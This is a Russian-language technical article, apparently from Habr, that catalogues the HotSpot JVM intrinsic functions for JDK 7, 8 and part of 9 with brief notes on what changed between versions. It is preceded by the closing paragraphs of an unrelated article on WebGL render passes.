Как видно, если кто-то сообщил нам об изменении сцены, `EffectComposer` создаст два Pass-a: один с настройками по умолчанию, а другой — с хитрой заменой материалов. Проходы сцены у нас не содержат каких-то хитрых зависимостей, они, как правило, рисуются сами по себе, однако описываемый подход позволяет это делать, если мы добавим в ScenePass несколько методов для того, чтобы добавлять зависимости. Потому что это неочевидно, какой именно материал из сцены захочет иметь отрисованную зависимость.
Заключение
==========
Несмотря на простоту использования в нашем случае, нам не удалось добиться полностью автоматической генерации пассов, основанных на шейдерах. Мне не хотелось добавлять в шейдеры маркеров, которые бы дополняли проходы прорисовки сцены дополнительными параметрами, такими как параметры вывода текстуры — `GL_RGB`, `GL_RGBA`, `GL_FLOAT`, `GL_UNSIGNED_BYTE`. Это бы, с одной стороны, упростило код, но дало бы меньше свободы переиспользования шейдеров. То есть эту настройку все равно пришлось описывать.
Стоит упомянуть, что мне пришлось еще реализовать маппинг зависимостей. Это оказалось полезно, если один шейдер мы хотим использовать в нескольких пассах и с разными входящими текстурами. В таком случае каждый пасс стал больше походить на функцию, поэтому у меня появилась идея, как это сделать немного «функциональнее».
Тем не менее, вся разработка оказалась весьма полезной. В частности, она позволяет без существенных сложностей добавлять нам любые эффекты в наш проект. Хотя мне лично больше всего нравится возможность легкого дебага изображений. | https://habr.com/ru/post/344930/ | null | ru | null |
# Полный перечень intrinsic-функций в HotSpot в JDK 7, 8, 9 и 10
*Интринсик* или *intrinsic-функция* — функция, которую JIT-компилятор может встроить вместо вызова Java- и JNI-кода с целью оптимизации. Важный вывод из этого — *intrinsic-функции* не доступны в режиме интерпретатора. По умолчанию в HotSpot используется два JIT-компилятора C1 и C2, таким образом, может быть доступна реализация *intrinsic-функции* для каждого из JIT-компиляторов. Различия в реализации *intrinsic-функций* для разных JIT-компиляторов обуславливаются различным *внутренним представлением* кода (*intermediate representation — IR*).
В HotSpot реализовано несколько сотен *интринсиков* (их количество растёт от релиза к релизу). Описание всех *intrinsic-функций* можно найти в исходниках OpenJDK в файле `vmSymbols.hpp`. Ниже приведены полные списки *интринсиков* для JDK 7 ([vmSymbols.hpp](http://hg.openjdk.java.net/jdk7u/jdk7u/hotspot/file/f0e7f5612512/src/share/vm/classfile/vmSymbols.hpp)), JDK 8 ([vmSymbols.hpp](http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/file/de8045923ad2/src/share/vm/classfile/vmSymbols.hpp)), JDK 9 ([vmSymbols.hpp](http://hg.openjdk.java.net/jdk9/jdk9/hotspot/file/b756e7a2ec33/src/share/vm/classfile/vmSymbols.hpp)) и JDK 10 ([vmSymbols.hpp](http://hg.openjdk.java.net/jdk10/jdk10/hotspot/file/5ab7a67bc155/src/share/vm/classfile/vmSymbols.hpp)).
Описание приведено в следующем виде:
```
<название интринсика> .<заменяемый метод класса>
```
Intrinsic-функции в JDK 7
-------------------------
**Intrinsic-функции в JDK 7**### java.lang.Object
```
_hashCode java.lang.Object.hashCode()
_getClass java.lang.Object.getClass()
_clone java.lang.Object.clone()
_Object_init java.lang.Object()
```
### java.lang.Math
```
_dabs java.lang.Math.abs(double)
_dsin java.lang.Math.sin(double)
_dcos java.lang.Math.cos(double)
_dtan java.lang.Math.tan(double)
_datan2 java.lang.Math.atan2(double, double)
_dsqrt java.lang.Math.sqrt(double)
_dlog java.lang.Math.log(double)
_dlog10 java.lang.Math.log10(double)
_dpow java.lang.Math.pow(double, double)
_dexp java.lang.Math.exp(double)
_min java.lang.Math.min(int, int)
_max java.lang.Math.max(int, int)
```
### Double, Float
```
_floatToRawIntBits java.lang.Float.floatToRawIntBits(float)
_floatToIntBits java.lang.Float.floatToIntBits(float)
_intBitsToFloat java.lang.Float.intBitsToFloat(int)
_doubleToRawLongBits java.lang.Double.doubleToRawLongBits(double)
_doubleToLongBits java.lang.Double.doubleToLongBits(double)
_longBitsToDouble java.lang.Double.longBitsToDouble(long)
```
### Integer, Long, Character, Short
```
_numberOfLeadingZeros_i java.lang.Integer.numberOfLeadingZeros(int)
_numberOfLeadingZeros_l java.lang.Long.numberOfLeadingZeros(long)
_numberOfTrailingZeros_i java.lang.Integer.numberOfTrailingZeros(int)
_numberOfTrailingZeros_l java.lang.Long.numberOfTrailingZeros(long)
_bitCount_i java.lang.Integer.bitCount(int)
_bitCount_l java.lang.Long.bitCount(long)
_reverseBytes_i java.lang.Integer.reverseBytes(int)
_reverseBytes_l java.lang.Long.reverseBytes(long)
_reverseBytes_c java.lang.Character.reverseBytes(char)
_reverseBytes_s java.lang.Short.reverseBytes(short)
_Integer_toString java.lang.Integer.toString(int)
```
### java.lang.System
```
_identityHashCode java.lang.System.identityHashCode(Object)
_currentTimeMillis java.lang.System.currentTimeMillis()
_nanoTime java.lang.System.nanoTime()
_arraycopy java.lang.System.arraycopy(Object, int, Object, int, int)
```
### java.lang.Thread
```
_isInterrupted java.lang.Thread.isInterrupted(boolean)
_currentThread java.lang.Thread.currentThread()
```
### java.lang.Class
```
_isAssignableFrom java.lang.Class.isAssignableFrom(Class)
_isInstance java.lang.Class.isInstance(Object)
_getModifiers java.lang.Class.getModifiers()
_isInterface java.lang.Class.isInterface()
_isArray java.lang.Class.isArray()
_isPrimitive java.lang.Class.isPrimitive()
_getSuperclass java.lang.Class.getSuperclass()
_getComponentType java.lang.Class.getComponentType()
```
### Reflection
```
_getClassAccessFlags sun.reflect.Reflection.getClassAccessFlags(Class)
_getCallerClass sun.reflect.Reflection.getCallerClass(int)
_getLength java.lang.reflect.Array.getLength(Object)
_newArray java.lang.reflect.Array.newArray(Class, int)
_invoke java.lang.reflect.Method.invoke(Object, Object...)
```
### java.util.Arrays
```
_copyOf java.util.Arrays.copyOf(Object[], int, Class)
_copyOfRange java.util.Arrays.copyOfRange(Object[], int, int, Class)
_equalsC java.util.Arrays.equals(char[], char[])
```
### java.lang.String
```
_compareTo java.lang.String.compareTo(String)
_indexOf java.lang.String.indexOf(String)
_equals java.lang.String.equals(Object)
_String_String java.lang.String(String)
```
### java.nio.Buffer
```
_checkIndex java.nio.Buffer.checkIndex(int)
```
### java.lang.ref.Reference
```
_Reference_get java.lang.ref.Reference.get()
```
### Cryptography
```
_aescrypt_encryptBlock com.sun.crypto.provider.AESCrypt.encryptBlock(byte[], in, byte[], int)
_aescrypt_decryptBlock com.sun.crypto.provider.AESCrypt.decryptBlock(byte[], in, byte[], int)
_cipherBlockChaining_encryptAESCrypt com.sun.crypto.provider.CipherBlockChaining.encrypt(byte[], int, int, byte[], int)
_cipherBlockChaining_decryptAESCrypt com.sun.crypto.provider.CipherBlockChaining.decrypt(byte[], int, int, byte[], int)
```
### sun.misc.Unsafe
```
_allocateInstance sun.misc.Unsafe.allocateInstance(Class)
_copyMemory sun.misc.Unsafe.copyMemory(Object, long, Object, long, long)
_park sun.misc.Unsafe.park(boolean, long)
_unpark sun.misc.Unsafe.unpark(Object)
_getObject sun.misc.Unsafe.getObject(Object, long)
_getBoolean sun.misc.Unsafe.getBoolean(Object, long)
_getByte sun.misc.Unsafe.getByte(Object, long)
_getShort sun.misc.Unsafe.getShort(Object, long)
_getChar sun.misc.Unsafe.getChar(Object, long)
_getInt sun.misc.Unsafe.getInt(Object, long)
_getLong sun.misc.Unsafe.getLong(Object, long)
_getFloat sun.misc.Unsafe.getFloat(Object, long)
_getDouble sun.misc.Unsafe.getDouble(Object, long)
_putObject sun.misc.Unsafe.putObject(Object, long, Object)
_putBoolean sun.misc.Unsafe.putBoolean(Object, long, boolean)
_putByte sun.misc.Unsafe.putByte(Object, long, byte)
_putShort sun.misc.Unsafe.putShort(Object, long, short)
_putChar sun.misc.Unsafe.putChar(Object, long, char)
_putInt sun.misc.Unsafe.putInt(Object, long, int)
_putLong sun.misc.Unsafe.putLong(Object, long, long)
_putFloat sun.misc.Unsafe.putFloat(Object, long, float)
_putDouble sun.misc.Unsafe.putDouble(Object, long, double)
_getObjectVolatile sun.misc.Unsafe.getObjectVolatile(Object, long)
_getBooleanVolatile sun.misc.Unsafe.getBooleanVolatile(Object, long)
_getByteVolatile sun.misc.Unsafe.getByteVolatile(Object, long)
_getShortVolatile sun.misc.Unsafe.getShortVolatile(Object, long)
_getCharVolatile sun.misc.Unsafe.getCharVolatile(Object, long)
_getIntVolatile sun.misc.Unsafe.getIntVolatile(Object, long)
_getLongVolatile sun.misc.Unsafe.getLongVolatile(Object, long)
_getFloatVolatile sun.misc.Unsafe.getFloatVolatile(Object, long)
_getDoubleVolatile sun.misc.Unsafe.getDoubleVolatile(Object, long)
_putObjectVolatile sun.misc.Unsafe.putObjectVolatile(Object, long, Object)
_putBooleanVolatile sun.misc.Unsafe.putBooleanVolatile(Object, long, boolean)
_putByteVolatile sun.misc.Unsafe.putByteVolatile(Object, long, byte)
_putShortVolatile sun.misc.Unsafe.putShortVolatile(Object, long, short)
_putCharVolatile sun.misc.Unsafe.putCharVolatile(Object, long, char)
_putIntVolatile sun.misc.Unsafe.putIntVolatile(Object, long, int)
_putLongVolatile sun.misc.Unsafe.putLongVolatile(Object, long, long)
_putFloatVolatile sun.misc.Unsafe.putFloatVolatile(Object, long, float)
_putDoubleVolatile sun.misc.Unsafe.putDoubleVolatile(Object, long, double)
_getByte_raw sun.misc.Unsafe.getByte(long)
_getShort_raw sun.misc.Unsafe.getShort(long)
_getChar_raw sun.misc.Unsafe.getChar(long)
_getInt_raw sun.misc.Unsafe.getInt(long)
_getLong_raw sun.misc.Unsafe.getLong(long)
_getFloat_raw sun.misc.Unsafe.getFloat(long)
_getDouble_raw sun.misc.Unsafe.getDouble(long)
_getAddress_raw sun.misc.Unsafe.getAddress(long)
_putByte_raw sun.misc.Unsafe.putByte(long, byte)
_putShort_raw sun.misc.Unsafe.putShort(long, short)
_putChar_raw sun.misc.Unsafe.putChar(long, char)
_putInt_raw sun.misc.Unsafe.putInt(long, int)
_putLong_raw sun.misc.Unsafe.putLong(long, long)
_putFloat_raw sun.misc.Unsafe.putFloat(long, float)
_putDouble_raw sun.misc.Unsafe.putDouble(long, double)
_putAddress_raw sun.misc.Unsafe.putAddress(long, long)
_compareAndSwapObject sun.misc.Unsafe.compareAndSwapObject(Object, long, Object, Object)
_compareAndSwapLong sun.misc.Unsafe.compareAndSwapLong(Object, long, long, long)
_compareAndSwapInt sun.misc.Unsafe.compareAndSwapInt(Object, long, int, int)
_putOrderedObject sun.misc.Unsafe.putOrderedObject(Object, long, Object)
_putOrderedLong sun.misc.Unsafe.putOrderedLong(Object, long, long)
_putOrderedInt sun.misc.Unsafe.putOrderedInt(Object, long, int)
_getAndAddInt sun.misc.Unsafe.getAndAddInt(Object, long, int)
_getAndAddLong sun.misc.Unsafe.getAndAddLong(Object, long, long)
_getAndSetInt sun.misc.Unsafe.getAndSet(Object, long, int)
_getAndSetLong sun.misc.Unsafe.getAndSet(Object, long, long)
_getAndSetObject sun.misc.Unsafe.getAndSet(Object, long, Object)
_prefetchRead sun.misc.Unsafe.prefetchRead(Object, long)
_prefetchWrite sun.misc.Unsafe.prefetchWrite(Object, long)
_prefetchReadStatic sun.misc.Unsafe.prefetchReadStatic(Object, long)
_prefetchWriteStatic sun.misc.Unsafe.prefetchWriteStatic(Object, long)
```
### lava.lang.Throwable
```
_fillInStackTrace java.lang.Throwable.fillInStackTrace()
```
### java.lang.StringBuilder
```
_StringBuilder_void java.lang.StringBuilder()
_StringBuilder_int java.lang.StringBuilder(int)
_StringBuilder_String java.lang.StringBuilder(String)
_StringBuilder_append_char java.lang.StringBuilder.append(char)
_StringBuilder_append_int java.lang.StringBuilder.append(int)
_StringBuilder_append_String java.lang.StringBuilder.append(String)
_StringBuilder_toString java.lang.StringBuilder.toString()
```
### java.lang.StringBuffer
```
_StringBuffer_void java.lang.StringBuffer()
_StringBuffer_int java.lang.StringBuffer(int)
_StringBuffer_String java.lang.StringBuffer(String)
_StringBuffer_append_char java.lang.StringBuffer.append(char)
_StringBuffer_append_int java.lang.StringBuffer.append(int)
_StringBuffer_append_String java.lang.StringBuffer.append(String)
_StringBuffer_toString java.lang.StringBuffer.toString()
```
### java.lang.invoke.MethodHandle
```
_invokeGeneric java.lang.invoke.MethodHandle.invoke*
_invokeBasic java.lang.invoke.MethodHandle.invokeBasic*
_linkToVirtual java.lang.invoke.MethodHandle.linkToVirtual*
_linkToStatic java.lang.invoke.MethodHandle.linkToStatic*
_linkToSpecial java.lang.invoke.MethodHandle.linkToSpecial*
_linkToInterface java.lang.invoke.MethodHandle.linkToInterface*
_compiledLambdaForm java.lang.invoke.MethodHandle.\*
```
### Boxing и Unboxing
```
_booleanValue java.lang.Boolean.booleanValue()
_byteValue java.lang.Byte.byteValue()
_charValue java.lang.Character.charValue()
_shortValue java.lang.Short.shortValue()
_intValue java.lang.Integer.intValue()
_longValue java.lang.Long.longValue()
_floatValue java.lang.Float.floatValue()
_doubleValue java.lang.Double.doubleValue()
_Boolean_valueOf java.lang.Boolean.valueOf(boolean)
_Byte_valueOf java.lang.Byte.valueOf(byte)
_Character_valueOf java.lang.Character.valueOf(char)
_Short_valueOf java.lang.Short.valueOf(short)
_Integer_valueOf java.lang.Integer.valueOf(int)
_Long_valueOf java.lang.Long.valueOf(long)
_Float_valueOf java.lang.Float.valueOf(float)
_Double_valueOf java.lang.Double.valueOf(double)
```
Intrinsic-функции в JDK 8
-------------------------
**Intrinsic-функции в JDK 8**### java.lang.Object
```
_hashCode java.lang.Object.hashCode()
_getClass java.lang.Object.getClass()
_clone java.lang.Object.clone()
_Object_init java.lang.Object()
```
### java.lang.Math
```
_dabs java.lang.Math.abs(double)
_dsin java.lang.Math.sin(double)
_dcos java.lang.Math.cos(double)
_dtan java.lang.Math.tan(double)
_datan2 java.lang.Math.atan2(double, double)
_dsqrt java.lang.Math.sqrt(double)
_dlog java.lang.Math.log(double)
_dlog10 java.lang.Math.log10(double)
_dpow java.lang.Math.pow(double, double)
_dexp java.lang.Math.exp(double)
_min java.lang.Math.min(int, int)
_max java.lang.Math.max(int, int)
_addExactI java.lang.Math.addExact(int, int)
_addExactL java.lang.Math.addExact(long, long)
_decrementExactI java.lang.Math.decrementExact(int)
_decrementExactL java.lang.Math.decrementExact(long)
_incrementExactI java.lang.Math.incrementExact(int)
_incrementExactL java.lang.Math.incrementExact(long)
_multiplyExactI java.lang.Math.multiplyExact(int, int)
_multiplyExactL java.lang.Math.multiplyExact(long, long)
_negateExactI java.lang.Math.negateExact(int)
_negateExactL java.lang.Math.negateExact(long)
_subtractExactI java.lang.Math.subtractExact(int, int)
_subtractExactL java.lang.Math.subtractExact(long, long)
```
В JDK 8 в класс `java.lang.Math` были добавлены новые методы и для них соответствующие *intrinsic-функции*.
### Double, Float
```
_floatToRawIntBits java.lang.Float.floatToRawIntBits(float)
_floatToIntBits java.lang.Float.floatToIntBits(float)
_intBitsToFloat java.lang.Float.intBitsToFloat(int)
_doubleToRawLongBits java.lang.Double.doubleToRawLongBits(double)
_doubleToLongBits java.lang.Double.doubleToLongBits(double)
_longBitsToDouble java.lang.Double.longBitsToDouble(long)
```
### Integer, Long, Character, Short
```
_numberOfLeadingZeros_i java.lang.Integer.numberOfLeadingZeros(int)
_numberOfLeadingZeros_l java.lang.Long.numberOfLeadingZeros(long)
_numberOfTrailingZeros_i java.lang.Integer.numberOfTrailingZeros(int)
_numberOfTrailingZeros_l java.lang.Long.numberOfTrailingZeros(long)
_bitCount_i java.lang.Integer.bitCount(int)
_bitCount_l java.lang.Long.bitCount(long)
_reverseBytes_i java.lang.Integer.reverseBytes(int)
_reverseBytes_l java.lang.Long.reverseBytes(long)
_reverseBytes_c java.lang.Character.reverseBytes(char)
_reverseBytes_s java.lang.Short.reverseBytes(short)
_Integer_toString java.lang.Integer.toString(int)
```
### java.lang.System
```
_identityHashCode java.lang.System.identityHashCode(Object)
_currentTimeMillis java.lang.System.currentTimeMillis()
_nanoTime java.lang.System.nanoTime()
_arraycopy java.lang.System.arraycopy(Object, int, Object, int, int)
```
### java.lang.Thread
```
_isInterrupted java.lang.Thread.isInterrupted(boolean)
_currentThread java.lang.Thread.currentThread()
```
### java.lang.Class
```
_isAssignableFrom java.lang.Class.isAssignableFrom(Class)
_isInstance java.lang.Class.isInstance(Object)
_getModifiers java.lang.Class.getModifiers()
_isInterface java.lang.Class.isInterface()
_isArray java.lang.Class.isArray()
_isPrimitive java.lang.Class.isPrimitive()
_getSuperclass java.lang.Class.getSuperclass()
_getComponentType java.lang.Class.getComponentType()
```
### Reflection
```
_getClassAccessFlags sun.reflect.Reflection.getClassAccessFlags(Class)
_getCallerClass sun.reflect.Reflection.getCallerClass()
_getLength java.lang.reflect.Array.getLength(Object)
_newArray java.lang.reflect.Array.newArray(Class, int)
_invoke java.lang.reflect.Method.invoke(Object, Object...)
```
В JDK 8 метод `sun.reflect.reflection.getCallerClass(int)` помечен как `@Deprecated`, вмеcто него используется метод `sun.reflect.Reflection.getCallerClass()`.
### java.util.Arrays
```
_copyOf java.util.Arrays.copyOf(Object[], int, Class)
_copyOfRange java.util.Arrays.copyOfRange(Object[], int, int, Class)
_equalsC java.util.Arrays.equals(char[], char[])
```
### java.lang.String
```
_compareTo java.lang.String.compareTo(String)
_indexOf java.lang.String.indexOf(String)
_equals java.lang.String.equals(Object)
_String_String java.lang.String(String)
```
### java.nio.Buffer
```
_checkIndex java.nio.Buffer.checkIndex(int)
```
### sun.nio.cs.ISO\_8859\_1$Encoder
```
_encodeISOArray sun.nio.cs.ISO_8859_1.Encoder.encodeISOArray(char[], int, byte[], int, int)
```
В класс `sun.nio.cs.ISO_8859_1$Encoder` был добавлен новый метод `encodeISOArray`.
### java.math.BigInteger
```
_multiplyToLen java.math.BigInteger.multiplyToLen(int[], int, int[], int, int[])
_squareToLen java.math.BigInteger.squareToLen(int[], int, int[], int)
_mulAdd java.math.BigInteger.mulAdd(int[], int[], int, int, int)
_montgomeryMultiply java.math.BigInteger.montgomeryMultiply(int[], int[], int[], int, long, int[])
_montgomerySquare java.math.BigInteger.montgomerySquare(int[], int[], int, long, int[])
```
Для нескольких методов `java.math.BigInteger` в JDK 8 появились свои *интринсики*.
### java.lang.ref.Reference
```
_Reference_get java.lang.ref.Reference.get()
```
### Cryptography
```
_aescrypt_encryptBlock com.sun.crypto.provider.AESCrypt.encryptBlock(byte[], in, byte[], int)
_aescrypt_decryptBlock com.sun.crypto.provider.AESCrypt.decryptBlock(byte[], in, byte[], int)
_cipherBlockChaining_encryptAESCrypt com.sun.crypto.provider.CipherBlockChaining.encrypt(byte[], int, int, byte[], int)
_cipherBlockChaining_decryptAESCrypt com.sun.crypto.provider.CipherBlockChaining.decrypt(byte[], int, int, byte[], int)
```
### sun.security.provider.\*
```
_sha_implCompress sun.security.provider.SHA.implCompress(byte[], int)
_sha2_implCompress sun.security.provider.SHA2.implCompress(byte[], int)
_sha5_implCompress sun.security.provider.SHA5.implCompress(byte[], int)
_digestBase_implCompressMB sun.security.provider.Digestbase.implCompressMultiBlock(byte[], int, int)
```
Только в JDK 8 появились *интринсики* для `implCompress()`. Добавлен новый метод `sun.security.provider.DigestBase.implCompressMultiBlock()`.
### java.util.zip.CRC32
```
_updateCRC32 java.util.zip.CRC32.update(int, int)
_updateBytesCRC32 java.util.zip.CRC32.updateBytes(int, byte[], int, int)
_updateByteBufferCRC32 java.util.zip.CRC32.updateByteBuffer(int, long, int, int)
```
Два *интринсика* для ранее существовавших метода `update` и `updateBytes`. Метод `updateByteBuffer` появился только в JDK 8.
### sun.misc.Unsafe
```
_allocateInstance sun.misc.Unsafe.allocateInstance(Class)
_copyMemory sun.misc.Unsafe.copyMemory(Object, long, Object, long, long)
_park sun.misc.Unsafe.park(boolean, long)
_unpark sun.misc.Unsafe.unpark(Object)
_loadFence sun.misc.Unsafe.loadFence()
_storeFence sun.misc.Unsafe.storeFence()
_fullFence sun.misc.Unsafe.fullFence()
_getObject sun.misc.Unsafe.getObject(Object, long)
_getBoolean sun.misc.Unsafe.getBoolean(Object, long)
_getByte sun.misc.Unsafe.getByte(Object, long)
_getShort sun.misc.Unsafe.getShort(Object, long)
_getChar sun.misc.Unsafe.getChar(Object, long)
_getInt sun.misc.Unsafe.getInt(Object, long)
_getLong sun.misc.Unsafe.getLong(Object, long)
_getFloat sun.misc.Unsafe.getFloat(Object, long)
_getDouble sun.misc.Unsafe.getDouble(Object, long)
_putObject sun.misc.Unsafe.putObject(Object, long, Object)
_putBoolean sun.misc.Unsafe.putBoolean(Object, long, boolean)
_putByte sun.misc.Unsafe.putByte(Object, long, byte)
_putShort sun.misc.Unsafe.putShort(Object, long, short)
_putChar sun.misc.Unsafe.putChar(Object, long, char)
_putInt sun.misc.Unsafe.putInt(Object, long, int)
_putLong sun.misc.Unsafe.putLong(Object, long, long)
_putFloat sun.misc.Unsafe.putFloat(Object, long, float)
_putDouble sun.misc.Unsafe.putDouble(Object, long, double)
_getObjectVolatile sun.misc.Unsafe.getObjectVolatile(Object, long)
_getBooleanVolatile sun.misc.Unsafe.getBooleanVolatile(Object, long)
_getByteVolatile sun.misc.Unsafe.getByteVolatile(Object, long)
_getShortVolatile sun.misc.Unsafe.getShortVolatile(Object, long)
_getCharVolatile sun.misc.Unsafe.getCharVolatile(Object, long)
_getIntVolatile sun.misc.Unsafe.getIntVolatile(Object, long)
_getLongVolatile sun.misc.Unsafe.getLongVolatile(Object, long)
_getFloatVolatile sun.misc.Unsafe.getFloatVolatile(Object, long)
_getDoubleVolatile sun.misc.Unsafe.getDoubleVolatile(Object, long)
_putObjectVolatile sun.misc.Unsafe.putObjectVolatile(Object, long, Object)
_putBooleanVolatile sun.misc.Unsafe.putBooleanVolatile(Object, long, boolean)
_putByteVolatile sun.misc.Unsafe.putByteVolatile(Object, long, byte)
_putShortVolatile sun.misc.Unsafe.putShortVolatile(Object, long, short)
_putCharVolatile sun.misc.Unsafe.putCharVolatile(Object, long, char)
_putIntVolatile sun.misc.Unsafe.putIntVolatile(Object, long, int)
_putLongVolatile sun.misc.Unsafe.putLongVolatile(Object, long, long)
_putFloatVolatile sun.misc.Unsafe.putFloatVolatile(Object, long, float)
_putDoubleVolatile sun.misc.Unsafe.putDoubleVolatile(Object, long, double)
_getByte_raw sun.misc.Unsafe.getByte(long)
_getShort_raw sun.misc.Unsafe.getShort(long)
_getChar_raw sun.misc.Unsafe.getChar(long)
_getInt_raw sun.misc.Unsafe.getInt(long)
_getLong_raw sun.misc.Unsafe.getLong(long)
_getFloat_raw sun.misc.Unsafe.getFloat(long)
_getDouble_raw sun.misc.Unsafe.getDouble(long)
_getAddress_raw sun.misc.Unsafe.getAddress(long)
_putByte_raw sun.misc.Unsafe.putByte(long, byte)
_putShort_raw sun.misc.Unsafe.putShort(long, short)
_putChar_raw sun.misc.Unsafe.putChar(long, char)
_putInt_raw sun.misc.Unsafe.putInt(long, int)
_putLong_raw sun.misc.Unsafe.putLong(long, long)
_putFloat_raw sun.misc.Unsafe.putFloat(long, float)
_putDouble_raw sun.misc.Unsafe.putDouble(long, double)
_putAddress_raw sun.misc.Unsafe.putAddress(long, long)
_compareAndSwapObject sun.misc.Unsafe.compareAndSwapObject(Object, long, Object, Object)
_compareAndSwapLong sun.misc.Unsafe.compareAndSwapLong(Object, long, long, long)
_compareAndSwapInt sun.misc.Unsafe.compareAndSwapInt(Object, long, int, int)
_putOrderedObject sun.misc.Unsafe.putOrderedObject(Object, long, Object)
_putOrderedLong sun.misc.Unsafe.putOrderedLong(Object, long, long)
_putOrderedInt sun.misc.Unsafe.putOrderedInt(Object, long, int)
_getAndAddInt sun.misc.Unsafe.getAndAddInt(Object, long, int)
_getAndAddLong sun.misc.Unsafe.getAndAddLong(Object, long, long)
_getAndSetInt sun.misc.Unsafe.getAndSet(Object, long, int)
_getAndSetLong sun.misc.Unsafe.getAndSet(Object, long, long)
_getAndSetObject sun.misc.Unsafe.getAndSet(Object, long, Object)
_prefetchRead sun.misc.Unsafe.prefetchRead(Object, long)
_prefetchWrite sun.misc.Unsafe.prefetchWrite(Object, long)
_prefetchReadStatic sun.misc.Unsafe.prefetchReadStatic(Object, long)
_prefetchWriteStatic sun.misc.Unsafe.prefetchWriteStatic(Object, long)
```
Три новых метода `sun.misc.Unsafe.*fence()` (*memory barriers*).
### lava.lang.Throwable
```
_fillInStackTrace java.lang.Throwable.fillInStackTrace()
```
### java.lang.StringBuilder
```
_StringBuilder_void java.lang.StringBuilder()
_StringBuilder_int java.lang.StringBuilder(int)
_StringBuilder_String java.lang.StringBuilder(String)
_StringBuilder_append_char java.lang.StringBuilder.append(char)
_StringBuilder_append_int java.lang.StringBuilder.append(int)
_StringBuilder_append_String java.lang.StringBuilder.append(String)
_StringBuilder_toString java.lang.StringBuilder.toString()
```
### java.lang.StringBuffer
```
_StringBuffer_void java.lang.StringBuffer()
_StringBuffer_int java.lang.StringBuffer(int)
_StringBuffer_String java.lang.StringBuffer(String)
_StringBuffer_append_char java.lang.StringBuffer.append(char)
_StringBuffer_append_int java.lang.StringBuffer.append(int)
_StringBuffer_append_String java.lang.StringBuffer.append(String)
_StringBuffer_toString java.lang.StringBuffer.toString()
```
### java.lang.invoke.MethodHandle
```
_invokeGeneric java.lang.invoke.MethodHandle.invoke*
_invokeBasic java.lang.invoke.MethodHandle.invokeBasic*
_linkToVirtual java.lang.invoke.MethodHandle.linkToVirtual*
_linkToStatic java.lang.invoke.MethodHandle.linkToStatic*
_linkToSpecial java.lang.invoke.MethodHandle.linkToSpecial*
_linkToInterface java.lang.invoke.MethodHandle.linkToInterface*
_compiledLambdaForm java.lang.invoke.MethodHandle.\*
\_profileBoolean java.lang.invoke.MethodHandleImpl.profileBoolean(boolean, int[])
```
Новый метод `java.lang.invoke.MethodHandleImpl.profileBoolean()`. Комментарий разработчиков над этим методом: `Intrinsified by C2. Counters are used during parsing to calculate branch frequencies.`.
### Boxing и Unboxing
```
_booleanValue java.lang.Boolean.booleanValue()
_byteValue java.lang.Byte.byteValue()
_charValue java.lang.Character.charValue()
_shortValue java.lang.Short.shortValue()
_intValue java.lang.Integer.intValue()
_longValue java.lang.Long.longValue()
_floatValue java.lang.Float.floatValue()
_doubleValue java.lang.Double.doubleValue()
_Boolean_valueOf java.lang.Boolean.valueOf(boolean)
_Byte_valueOf java.lang.Byte.valueOf(byte)
_Character_valueOf java.lang.Character.valueOf(char)
_Short_valueOf java.lang.Short.valueOf(short)
_Integer_valueOf java.lang.Integer.valueOf(int)
_Long_valueOf java.lang.Long.valueOf(long)
_Float_valueOf java.lang.Float.valueOf(float)
_Double_valueOf java.lang.Double.valueOf(double)
```
Intrinsic-функции в JDK 9
-------------------------
В JDK 9 была добавлена аннотация `jdk.internal.HotSpotIntrinsicCandidate`, которая символизирует, что вызов метода, помеченного `@HotSpotIntrinsicCandidate`, *может* быть заменен *интринсиком*. *«Может»* в данном контексте означает, что наличие *intrinsic-функции* для соответствующего метода не гарантирует, что JIT-компилятор будет использовать *интринсик*.
Добавлю, что заведён [баг](https://bugs.java.com/view_bug.do?bug_id=8138732) с предложением переименовать аннотацию в `@IntrinsicCandidate` и не плодить VM-специфичные сущности, как это было с `sun.misc`.
**Intrinsic-функции в JDK 9**### java.lang.Object
```
_hashCode java.lang.Object.hashCode()
_getClass java.lang.Object.getClass()
_clone java.lang.Object.clone()
_notify java.lang.Object.notify()
_notifyAll java.lang.Object.notifyAll()
_Object_init java.lang.Object()
```
В JDK 9 для `Object` добавили пару *intrinsic-функций*: `_notify` и `_notifyAll`.
### java.lang.Math
```
_dabs java.lang.Math.abs(double)
_dsin java.lang.Math.sin(double)
_dcos java.lang.Math.cos(double)
_dtan java.lang.Math.tan(double)
_datan2 java.lang.Math.atan2(double, double)
_dsqrt java.lang.Math.sqrt(double)
_dlog java.lang.Math.log(double)
_dlog10 java.lang.Math.log10(double)
_dpow java.lang.Math.pow(double, double)
_dexp java.lang.Math.exp(double)
_min java.lang.Math.min(int, int)
_max java.lang.Math.max(int, int)
_addExactI java.lang.Math.addExact(int, int)
_addExactL java.lang.Math.addExact(long, long)
_decrementExactI java.lang.Math.decrementExact(int)
_decrementExactL java.lang.Math.decrementExact(long)
_incrementExactI java.lang.Math.incrementExact(int)
_incrementExactL java.lang.Math.incrementExact(long)
_multiplyExactI java.lang.Math.multiplyExact(int, int)
_multiplyExactL java.lang.Math.multiplyExact(long, long)
_negateExactI java.lang.Math.negateExact(int)
_negateExactL java.lang.Math.negateExact(long)
_subtractExactI java.lang.Math.subtractExact(int, int)
_subtractExactL java.lang.Math.subtractExact(long, long)
_fmaD java.lang.Math.fma(double, double, double)
_fmaF java.lang.Math.fma(float, float, float)
```
В JDK 9 в класс `java.lang.Math` добавили пару методов `fma` (`~ a * b + c`) и для них соответствующие *intrinsic-функции*.
### Double, Float
```
_floatToRawIntBits java.lang.Float.floatToRawIntBits(float)
_floatToIntBits java.lang.Float.floatToIntBits(float)
_intBitsToFloat java.lang.Float.intBitsToFloat(int)
_doubleToRawLongBits java.lang.Double.doubleToRawLongBits(double)
_doubleToLongBits java.lang.Double.doubleToLongBits(double)
_longBitsToDouble java.lang.Double.longBitsToDouble(long)
```
### Integer, Long, Character, Short
```
_numberOfLeadingZeros_i java.lang.Integer.numberOfLeadingZeros(int)
_numberOfLeadingZeros_l java.lang.Long.numberOfLeadingZeros(long)
_numberOfTrailingZeros_i java.lang.Integer.numberOfTrailingZeros(int)
_numberOfTrailingZeros_l java.lang.Long.numberOfTrailingZeros(long)
_bitCount_i java.lang.Integer.bitCount(int)
_bitCount_l java.lang.Long.bitCount(long)
_reverseBytes_i java.lang.Integer.reverseBytes(int)
_reverseBytes_l java.lang.Long.reverseBytes(long)
_reverseBytes_c java.lang.Character.reverseBytes(char)
_reverseBytes_s java.lang.Short.reverseBytes(short)
_Integer_toString java.lang.Integer.toString(int)
```
### java.lang.System
```
